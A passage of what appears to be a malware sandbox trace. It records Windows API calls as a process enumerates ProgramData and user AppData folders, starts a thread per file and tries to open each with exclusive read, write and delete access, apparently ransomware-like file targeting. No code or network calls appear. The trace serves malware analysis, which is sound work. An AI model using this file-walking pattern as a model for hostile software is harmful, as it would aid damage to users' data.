ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0157.528] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1 [0157.528] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1 [0157.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1073c0 [0157.528] wcscpy (in: _Dest=0x1073c0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0157.528] wcscat (in: _Dest=0x1073c0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0157.528] wcscat (in: _Dest=0x1073c0, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" [0158.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1073c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11dc [0158.655] FindNextFileW (in: hFindFile=0x1cd86550, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0158.655] FindClose (in: hFindFile=0x1cd86550 | out: hFindFile=0x1cd86550) returned 1 [0158.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55930) returned 1 [0158.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508bd0) returned 1 [0158.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad700) returned 1 Thread: id = 2679 os_tid = 0x2248 [0157.530] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20 [0157.532] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", dwFileAttributes=0x20) returned 0 [0157.534] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0157.538] GetLastError () returned 0x5 [0157.538] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", dwFileAttributes=0x20) returned 0 [0157.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 Thread: id = 2680 os_tid = 0x224c [0157.545] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml")) returned 0x20 [0157.548] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0157.550] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0157.554] GetLastError () returned 0x5 [0157.554] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0157.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119650) returned 1 Thread: id = 2681 os_tid = 0x2250 [0157.672] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20 [0157.675] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", dwFileAttributes=0x20) returned 0 [0157.677] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0157.680] GetLastError () returned 0x5 [0157.681] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", dwFileAttributes=0x20) returned 0 [0157.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119310) returned 1 Thread: id = 2682 os_tid = 0x2270 [0157.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ced3100 [0157.685] wcscpy (in: _Dest=0x1ced3100, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0157.685] wcscat (in: _Dest=0x1ced3100, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0157.685] wcscat (in: _Dest=0x1ced3100, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*" [0157.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57190 [0157.686] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*", lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd861f0 [0157.686] wcscmp (_String1=".", _String2=".") returned 0 [0157.686] FindNextFileW (in: hFindFile=0x1cd861f0, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.686] wcscmp (_String1="..", _String2=".") returned 1 [0157.686] wcscmp (_String1="..", _String2="..") returned 0 [0157.686] FindNextFileW (in: hFindFile=0x1cd861f0, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3736, dwReserved0=0x0, dwReserved1=0x0, cFileName="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", cAlternateFileName="")) returned 1 [0157.686] wcscmp (_String1="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", _String2=".") returned 1 [0157.686] wcscmp (_String1="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", _String2="..") returned 1 [0157.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b798e90 [0157.687] wcscpy (in: _Dest=0x1b798e90, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0157.687] wcscat (in: _Dest=0x1b798e90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0157.687] wcscat (in: _Dest=0x1b798e90, _Source="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" [0158.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b798e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb18 [0158.252] FindNextFileW (in: hFindFile=0x1cd861f0, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1af79, dwReserved0=0x0, dwReserved1=0x0, cFileName="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", cAlternateFileName="")) returned 1 [0158.252] wcscmp (_String1="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", _String2=".") returned 1 [0158.252] wcscmp (_String1="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", _String2="..") returned 1 [0158.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b799610 [0158.253] wcscpy (in: _Dest=0x1b799610, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0158.253] wcscat (in: _Dest=0x1b799610, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0158.253] wcscat (in: _Dest=0x1b799610, _Source="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" [0158.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b799610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb1c [0158.253] FindNextFileW (in: hFindFile=0x1cd861f0, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1af79, dwReserved0=0x0, dwReserved1=0x0, cFileName="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", cAlternateFileName="")) returned 0 [0158.253] FindClose (in: hFindFile=0x1cd861f0 | out: hFindFile=0x1cd861f0) returned 1 [0158.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57190) returned 1 [0158.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3100) returned 1 [0158.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869b40) returned 1 Thread: id = 2683 os_tid = 0x226c [0157.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1ced3190 [0157.688] wcscpy (in: _Dest=0x1ced3190, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2" [0157.688] wcscat (in: _Dest=0x1ced3190, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\" [0157.688] wcscat (in: _Dest=0x1ced3190, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*" [0157.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0157.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd860d0 [0160.065] wcscmp (_String1=".", _String2=".") returned 0 [0160.065] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.065] wcscmp (_String1="..", _String2=".") returned 1 [0160.065] wcscmp (_String1="..", _String2="..") returned 0 [0160.065] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0160.065] FindClose (in: hFindFile=0x1cd860d0 | out: hFindFile=0x1cd860d0) returned 1 [0160.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0160.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3190) returned 1 [0160.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a49b0) returned 1 Thread: id = 2684 os_tid = 0x2268 [0157.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3220 [0157.692] wcscpy (in: _Dest=0x1ced3220, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" [0157.693] wcscat (in: _Dest=0x1ced3220, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\" [0157.693] wcscat (in: _Dest=0x1ced3220, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*" [0157.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58030 [0157.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd860d0 [0160.068] wcscmp (_String1=".", _String2=".") returned 0 [0160.068] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.068] wcscmp (_String1="..", _String2=".") returned 1 [0160.068] wcscmp (_String1="..", _String2="..") returned 0 [0160.068] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0160.068] wcscmp (_String1="Dictionaries", _String2=".") returned 1 [0160.068] wcscmp (_String1="Dictionaries", _String2="..") returned 1 [0160.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad550 [0160.068] wcscpy (in: _Dest=0x202ad550, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" [0160.068] wcscat (in: _Dest=0x202ad550, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\" [0160.069] wcscat (in: _Dest=0x202ad550, _Source="Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" [0160.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ad4a0 [0160.069] wcscpy (in: _Dest=0x202ad4a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" [0160.069] wcscat (in: _Dest=0x202ad4a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\" [0160.069] wcscat (in: _Dest=0x202ad4a0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*" [0160.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0160.069] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86910 [0160.069] wcscmp (_String1=".", _String2=".") returned 0 [0160.069] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.069] wcscmp (_String1="..", _String2=".") returned 1 [0160.070] wcscmp (_String1="..", _String2="..") returned 0 [0160.070] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0160.070] FindClose (in: hFindFile=0x1cd86910 | out: hFindFile=0x1cd86910) returned 1 [0160.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0160.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad4a0) returned 1 [0160.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad550) returned 1 [0160.071] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0160.071] FindClose (in: hFindFile=0x1cd860d0 | out: hFindFile=0x1cd860d0) returned 1 [0160.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58030) returned 1 [0160.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3220) returned 1 [0160.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4a40) returned 1 Thread: id = 2685 os_tid = 0x2264 [0157.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced32b0 [0157.694] wcscpy (in: _Dest=0x1ced32b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights" [0157.694] wcscat (in: 